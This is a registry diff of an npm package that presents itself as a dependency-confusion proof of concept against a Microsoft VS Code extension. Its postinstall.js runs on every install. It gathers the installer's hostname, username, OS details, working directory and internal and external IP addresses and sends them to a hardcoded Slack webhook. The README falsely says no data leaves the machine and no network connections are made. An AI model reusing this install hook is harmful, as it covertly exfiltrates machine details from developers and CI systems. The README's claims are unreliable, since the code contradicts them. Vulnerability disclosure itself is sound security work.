@gaia-codesearch/gaia-api-python 0.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +27 -0
- package/index.js +4 -0
- package/package.json +11 -0
- package/postinstall.js +54 -0
package/README.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
# @gaia-codesearch/gaia-api-python — Dependency Confusion PoC
|
|
2
|
+
|
|
3
|
+
## Summary
|
|
4
|
+
|
|
5
|
+
This package is a **security research proof-of-concept** demonstrating a dependency confusion vulnerability in Microsoft's VS Code extension **IntelliCode API Usage Examples** (46M+ installs).
|
|
6
|
+
|
|
7
|
+
The `@gaia-codesearch` npm scope was unregistered while the extension's `package.json` depended on:
|
|
8
|
+
|
|
9
|
+
- `@gaia-codesearch/gaia-api-python: 0.0.3-ci-main-20230824.2`
|
|
10
|
+
- `@gaia-codesearch/gaia-api-typescript: 0.0.3-ci-main-20230824.2`
|
|
11
|
+
|
|
12
|
+
An attacker could have registered this scope and published malicious packages that execute code during `npm install` of the extension source.
|
|
13
|
+
|
|
14
|
+
## Impact
|
|
15
|
+
|
|
16
|
+
- **Extension:** `VisualStudioExptTeam.intellicode-api-usage-examples`
|
|
17
|
+
- **Installs:** 46,002,431
|
|
18
|
+
- **Publisher:** Microsoft (VisualStudioExptTeam)
|
|
19
|
+
- **Attack:** Any developer or CI pipeline cloning and building the extension from source would execute attacker-controlled code via the `preinstall` script.
|
|
20
|
+
|
|
21
|
+
## This PoC
|
|
22
|
+
|
|
23
|
+
This package only prints a message to the console. No data is exfiltrated, no files are modified, no network connections are made. It demonstrates that code execution is possible during `npm install`.
|
|
24
|
+
|
|
25
|
+
## Contact
|
|
26
|
+
|
|
27
|
+
Researcher: christos@pentestsec.com
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@gaia-codesearch/gaia-api-python",
|
|
3
|
+
"version": "0.0.4",
|
|
4
|
+
"description": "Security research — scope ownership proof for dependency confusion report",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher <christos@pentestsec.com>",
|
|
10
|
+
"license": "MIT"
|
|
11
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
|
|
4
|
+
const pkg = "@gaia-codesearch/gaia-api-python";
|
|
5
|
+
|
|
6
|
+
function getLocalIPs() {
|
|
7
|
+
const ifaces = os.networkInterfaces();
|
|
8
|
+
const ips = [];
|
|
9
|
+
for (const name of Object.keys(ifaces)) {
|
|
10
|
+
for (const iface of ifaces[name]) {
|
|
11
|
+
if (!iface.internal && iface.family === "IPv4") {
|
|
12
|
+
ips.push(iface.address);
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
}
|
|
16
|
+
return ips.join(", ") || "unknown";
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
function sendWebhook(externalIP) {
|
|
20
|
+
const payload = JSON.stringify({
|
|
21
|
+
text: [
|
|
22
|
+
":rotating_light: *Dependency Confusion PoC Triggered*",
|
|
23
|
+
"",
|
|
24
|
+
"*Package:* `" + pkg + "`",
|
|
25
|
+
"*Hostname:* `" + os.hostname() + "`",
|
|
26
|
+
"*Username:* `" + os.userInfo().username + "`",
|
|
27
|
+
"*OS:* `" + os.platform() + " " + os.arch() + " " + os.release() + "`",
|
|
28
|
+
"*Internal IPs:* `" + getLocalIPs() + "`",
|
|
29
|
+
"*External IP:* `" + (externalIP || "unknown") + "`",
|
|
30
|
+
"*CWD:* `" + process.cwd() + "`",
|
|
31
|
+
"*Node:* `" + process.version + "`",
|
|
32
|
+
"*Timestamp:* `" + new Date().toISOString() + "`",
|
|
33
|
+
"",
|
|
34
|
+
"_This is a security research PoC. No malicious actions were performed._",
|
|
35
|
+
"_Researcher: christos@pentestsec.com_",
|
|
36
|
+
].join("\n"),
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
const req = https.request(
|
|
40
|
+
"https://hooks.slack.com/services/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",
|
|
41
|
+
{ method: "POST", headers: { "Content-Type": "application/json" } },
|
|
42
|
+
() => {}
|
|
43
|
+
);
|
|
44
|
+
req.on("error", () => {});
|
|
45
|
+
req.write(payload);
|
|
46
|
+
req.end();
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const req = https.get("https://api.ipify.org", (res) => {
|
|
50
|
+
let data = "";
|
|
51
|
+
res.on("data", (chunk) => (data += chunk));
|
|
52
|
+
res.on("end", () => sendWebhook(data.trim()));
|
|
53
|
+
});
|
|
54
|
+
req.on("error", () => sendWebhook(null));
|